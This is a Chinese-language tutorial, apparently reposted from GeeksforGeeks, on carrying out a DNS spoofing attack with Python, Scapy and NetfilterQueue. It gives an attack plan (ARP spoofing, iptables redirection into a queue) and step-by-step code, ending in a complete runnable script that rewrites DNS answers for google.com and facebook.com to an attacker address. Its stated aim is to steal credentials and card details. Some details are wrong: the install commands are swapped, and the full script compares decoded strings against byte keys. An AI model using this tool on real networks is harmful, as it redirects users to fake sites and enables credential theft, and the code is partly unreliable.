作者:方园不帅_718 | 来源:互联网 | 2024-11-25 15:52
利用 Python 和 Scapy 实施 DNS 欺骗攻击的技术解析
参考链接: https://www.geeksforgeeks.org/如何制作-DNS-欺骗-攻击-使用-python-中的-scapy/
本文旨在探讨如何运用 Python 的 Scapy 库进行 DNS 欺骗攻击。在深入之前,需要了解几个关键概念:
- DNS 服务: 域名系统(DNS)是一种协议,用于将人类可读的域名转换为机器可识别的 IP 地址。例如,当我们访问 google.com 时,浏览器会向 DNS 服务器请求该域名对应的 IP 地址,如 172.217.166.110。
- DNS 欺骗: DNS 欺骗是一种网络攻击手段,攻击者通过篡改 DNS 查询结果,使目标用户误认为访问的是真实的网站,但实际上被导向了伪造的页面。这种攻击的目的通常是窃取用户的敏感信息,如用户名、密码或信用卡详情等。
所需工具:
- Netfilter Queue: 这是一个 Python 库,允许开发者访问 Linux 系统中由 iptables 规则匹配的数据包。这些数据包可以被接受、丢弃、修改或标记。安装命令如下:
pip3 install scapy
- Scapy: Scapy 是一个强大的 Python 包,能够操作计算机网络数据包,适用于网络扫描、路由追踪、网络探测等多种任务。安装命令如下:
pip3 install netfilterqueue
实施步骤:
- 在目标网络中执行 ARP 欺骗,确保所有流量通过攻击者的设备传输。
- 设置一条 Iptables 规则,将经过攻击者设备的流量推送到网络过滤队列中。
- 使用自定义脚本处理队列中的数据包。
- 处理后的数据包将被转发给目标用户。
- 目标用户将接收到伪造的 DNS 响应,导致其访问错误的网页。
- 结束攻击时,需清除先前设置的 Iptables 规则。
接下来,我们将详细介绍 DNS 欺骗攻击的具体实现过程。
步骤 1: 导入所需的库。
from scapy.all import *
import os
import logging as log
from scapy.all import IP, DNSRR, DNSQR, UDP, DNS
from netfilterqueue import NetfilterQueue
步骤 2: 在 IP 表中插入规则,使数据包被重定向至 Netfilter Queue。这里的队列编号可以根据需要自行设定。
os.system("sudo iptables -I FORWARD -j NFQUEUE --queue-num 1")
步骤 3: 初始化 Netfilter Queue 对象。
queue = NetfilterQueue()
步骤 4: 将队列对象绑定到指定队列号和回调函数,随后启动队列监听。
queue.bind(1, callback)
queue.run()
步骤 5: 定义需要欺骗的域名及其对应的 IP 地址映射表。
hostsDict = {
"google.com": "192.168.1.100",
"facebook.com": "192.168.1.100"
}
步骤 6: 当数据包到达队列时,触发回调函数处理。
def callback(packet):
步骤 7: 将 Netfilter Queue 数据包转换为 Scapy 数据包,便于后续操作。
scapy_packet = IP(packet.get_payload())
步骤 8: 检查数据包是否包含 DNS 资源记录。如果是,则进行篡改;否则,保持原样。
if scapy_packet.haslayer(DNSRR):
步骤 9: 提取 DNS 查询中的域名。
query_name = scapy_packet[DNSQR].qname
步骤 10: 若查询的域名存在于预先定义的映射表中,则替换响应中的 IP 地址。
if query_name in hostsDict:
scapy_packet[DNS].an = DNSRR(rrname=query_name, rdata=hostsDict[query_name])
步骤 11: 更新响应中的 DNS 记录数量。
scapy_packet[DNS].ancount = 1
步骤 12: 清除数据包中的长度和校验和字段,防止因修改引起的数据包完整性问题。
del scapy_packet[IP].len
del scapy_packet[IP].chksum
del scapy_packet[UDP].len
del scapy_packet[UDP].chksum
步骤 13: 将修改后的 Scapy 数据包内容更新回 Netfilter Queue 数据包。
packet.set_payload(bytes(scapy_packet))
步骤 14: 允许数据包继续传输至最终目的地。
packet.accept()
步骤 15: 攻击结束后,记得移除之前设置的 Iptables 规则。
os.system("sudo iptables -D FORWARD -j NFQUEUE --queue-num 1")
以下是完整的 Python 代码示例:
Python 3
import os
import logging as log
from scapy.all import IP, DNSRR, DNS, UDP, DNSQR
from netfilterqueue import NetfilterQueue
class DnsSpoof:
def __init__(self, host_dict, queue_num):
self.host_dict = host_dict
self.queue_num = queue_num
self.queue = NetfilterQueue()
def __call__(self):
log.info("Starting DNS spoof...")
os.system(f'iptables -I FORWARD -j NFQUEUE --queue-num {self.queue_num}')
self.queue.bind(self.queue_num, self.callback)
try:
self.queue.run()
except KeyboardInterrupt:
os.system(f'iptables -D FORWARD -j NFQUEUE --queue-num {self.queue_num}')
log.info("[!] Iptables rule removed")
def callback(self, packet):
scapy_packet = IP(packet.get_payload())
if scapy_packet.haslayer(DNSRR):
try:
log.info(f'[Original] {scapy_packet[DNSRR].summary()}')
query_name = scapy_packet[DNSQR].qname.decode()
if query_name in self.host_dict:
scapy_packet[DNS].an = DNSRR(rrname=query_name, rdata=self.host_dict[query_name])
scapy_packet[DNS].ancount = 1
del scapy_packet[IP].len
del scapy_packet[IP].chksum
del scapy_packet[UDP].len
del scapy_packet[UDP].chksum
log.info(f'[Modified] {scapy_packet[DNSRR].summary()}')
else:
log.info(f'[Not Modified] {scapy_packet[DNSRR].rdata}')
except IndexError as e:
log.error(e)
packet.set_payload(bytes(scapy_packet))
packet.accept()
if __name__ == '__main__':
try:
host_dict = {
b"google.com.": "192.168.1.100",
b"facebook.com.": "192.168.1.100"
}
queue_num = 1
log.basicConfig(format='%(asctime)s - %(message)s', level=log.INFO)
dns_spoof = DnsSpoof(host_dict, queue_num)
dns_spoof()
except OSError as e:
log.error(e)